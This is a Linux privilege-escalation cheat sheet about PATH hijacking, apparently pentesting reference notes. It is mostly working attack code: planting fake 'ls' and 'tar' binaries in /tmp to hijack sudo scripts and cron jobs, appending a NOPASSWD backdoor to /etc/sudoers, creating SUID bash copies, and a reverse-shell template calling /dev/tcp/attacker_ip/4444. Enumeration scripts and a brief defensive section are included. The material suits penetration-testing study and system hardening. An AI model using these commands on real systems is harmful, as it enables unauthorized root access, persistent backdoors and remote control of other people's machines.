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🛤️ PATH Abuse

🎯 Overview

PATH environment variable manipulation to achieve privilege escalation by hijacking command execution through directory precedence and writable path exploitation.

📍 PATH Variable Basics

Understanding PATH

# Check current PATH
echo $PATH
env | grep PATH

# Typical PATH structure
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

How PATH Works:

  • System searches directories left to right
  • First match gets executed
  • Absolute paths bypass PATH lookup
  • Relative commands use PATH resolution

🎯 PATH Hijacking Attack Vectors

Current Directory Injection

# Add current directory to PATH (dangerous!)
PATH=.:$PATH
export PATH

# Create malicious script
echo 'echo "PATH HIJACKED!"' > ls
chmod +x ls

# Execute - runs our script instead of /bin/ls
ls

sudo =

Writable Directory Exploitation

# Find writable directories in PATH
echo $PATH | tr ':' '\n' | xargs ls -ld 2>/dev/null | grep "^d.w"

# Check for writable dirs
for dir in $(echo $PATH | tr ':' '\n'); do
    if [ -w "$dir" ]; then
        echo "Writable: $dir"
    fi
done

🔧 Common Attack Scenarios

Scenario 1: Sudo Script with Relative Commands

# Check sudo permissions
sudo -l

# Example vulnerable sudo entry:
# (root) NOPASSWD: /home/user/script.sh

# If script.sh contains relative commands:
cat /home/user/script.sh
# #!/bin/bash
# ls /tmp        # Vulnerable - uses relative 'ls'
# ps aux         # Vulnerable - uses relative 'ps'

Exploitation:

# Create malicious binaries
echo '#!/bin/bash' > /tmp/ls
echo '/bin/bash' >> /tmp/ls
chmod +x /tmp/ls

# Modify PATH to prioritize /tmp
export PATH=/tmp:$PATH

# Execute vulnerable sudo script
sudo /home/user/script.sh  # Triggers our malicious 'ls'

Scenario 2: Cronjob Path Manipulation

# Check cron jobs for relative commands
cat /etc/crontab
ls -la /etc/cron.d/

# Look for scripts using relative paths
grep -r "#!/bin/sh" /etc/cron.d/ | xargs cat

If cron job runs:

*/5 * * * * root /script.sh

And script.sh contains:

#!/bin/sh
cp /important/file /backup/  # Vulnerable if PATH is manipulated

🎭 Script and Binary Hijacking

Common Target Commands

# Most frequently hijacked commands
ls, ps, id, whoami, cat, cp, mv, rm, chmod, chown

Malicious Script Templates

# Simple privilege escalation
#!/bin/bash
/bin/bash

# Reverse shell
#!/bin/bash
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# Add user to sudoers
#!/bin/bash
echo "hacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# Copy /bin/bash to writable location with SUID
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash

🔍 Enumeration Techniques

PATH Analysis

# Current user PATH
echo $PATH

# Other users' PATH (from environment)
cat /home/*/.bashrc | grep PATH
cat /home/*/.profile | grep PATH

# System-wide PATH settings
cat /etc/environment
cat /etc/profile

Writable Directory Detection

# Check PATH directories for write permissions
echo $PATH | tr ':' '\n' | while read dir; do
    if [ -w "$dir" 2>/dev/null ]; then
        echo "WRITABLE: $dir"
    fi
done

# Alternative one-liner
echo $PATH | tr ':' '\n' | xargs -I {} sh -c 'test -w "{}" && echo "Writable: {}"'

Vulnerable Script Detection

# Find scripts using relative commands
grep -r "^[^/]" /etc/cron.d/ 2>/dev/null
grep -r "^[^/]" /opt/scripts/ 2>/dev/null

# Check sudo scripts for relative paths
sudo -l | grep -E "\(/.*\.sh\)" | while read script; do
    if [ -r "$script" ]; then
        echo "=== $script ==="
        grep -E "^[a-zA-Z]" "$script" | head -5
    fi
done

🚀 Exploitation Examples

Basic PATH Hijacking

# 1. Identify vulnerable script
sudo -l
# Output: (root) NOPASSWD: /usr/local/bin/backup.sh

# 2. Analyze script
cat /usr/local/bin/backup.sh
# Contains: tar czf backup.tar.gz *

# 3. Create malicious tar
echo '#!/bin/bash' > /tmp/tar
echo 'chmod u+s /bin/bash' >> /tmp/tar
chmod +x /tmp/tar

# 4. Modify PATH
export PATH=/tmp:$PATH

# 5. Execute vulnerable script
sudo /usr/local/bin/backup.sh

# 6. Verify SUID bash
ls -la /bin/bash
/bin/bash -p  # Gain root shell

Cronjob PATH Exploitation

# If cron runs script with relative commands
# Create malicious binary in writable PATH directory
echo '#!/bin/bash' > /usr/local/bin/vulnerable_cmd
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /usr/local/bin/vulnerable_cmd
chmod +x /usr/local/bin/vulnerable_cmd

# Wait for cron execution
# Then execute SUID bash
/tmp/rootbash -p

🔍 Detection & Enumeration

Quick PATH Audit

#!/bin/bash
echo "=== PATH ABUSE ENUMERATION ==="

echo "[+] Current PATH:"
echo $PATH

echo "[+] Writable PATH directories:"
echo $PATH | tr ':' '\n' | while read dir; do
    if [ -w "$dir" 2>/dev/null ]; then
        echo "  WRITABLE: $dir"
    fi
done

echo "[+] Sudo scripts with potential relative commands:"
sudo -l 2>/dev/null | grep -E "NOPASSWD.*\.sh" | while read line; do
    script=$(echo $line | grep -oE "/.*\.sh")
    if [ -r "$script" ]; then
        echo "  Script: $script"
        grep -E "^[a-zA-Z]" "$script" 2>/dev/null | head -3 | sed 's/^/    /'
    fi
done

echo "[+] Cron jobs with relative commands:"
cat /etc/crontab 2>/dev/null | grep -v "^#" | grep -E "[^/][a-zA-Z]"

⚠️ Defensive Considerations

Secure PATH Practices

# Always use absolute paths in scripts
/bin/ls instead of ls
/usr/bin/id instead of id

# Secure PATH for scripts
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Remove current directory from PATH
export PATH=$(echo $PATH | sed 's/:\.:/:/g' | sed 's/^\.://' | sed 's/:\.$//')

Common Vulnerabilities

  • Current directory (.) in PATH - Most dangerous
  • Writable directories in PATH - Exploitation opportunity
  • Scripts using relative commands - Hijacking targets
  • User-modifiable PATH - Attack vector

🔑 Key Attack Points

High-Impact Scenarios

  1. Sudo scripts with relative commands + writable PATH directory
  2. Cron jobs executing scripts with relative paths
  3. SUID binaries calling other programs without absolute paths
  4. User scripts with PATH manipulation capabilities

Quick Wins

  • Check sudo -l for scripts
  • Look for writable directories in PATH
  • Find scripts with relative command calls
  • Test PATH modification permissions

PATH abuse exploits the fundamental way Linux systems locate executables - by manipulating the search order, attackers can hijack command execution and escalate privileges through legitimate system mechanisms.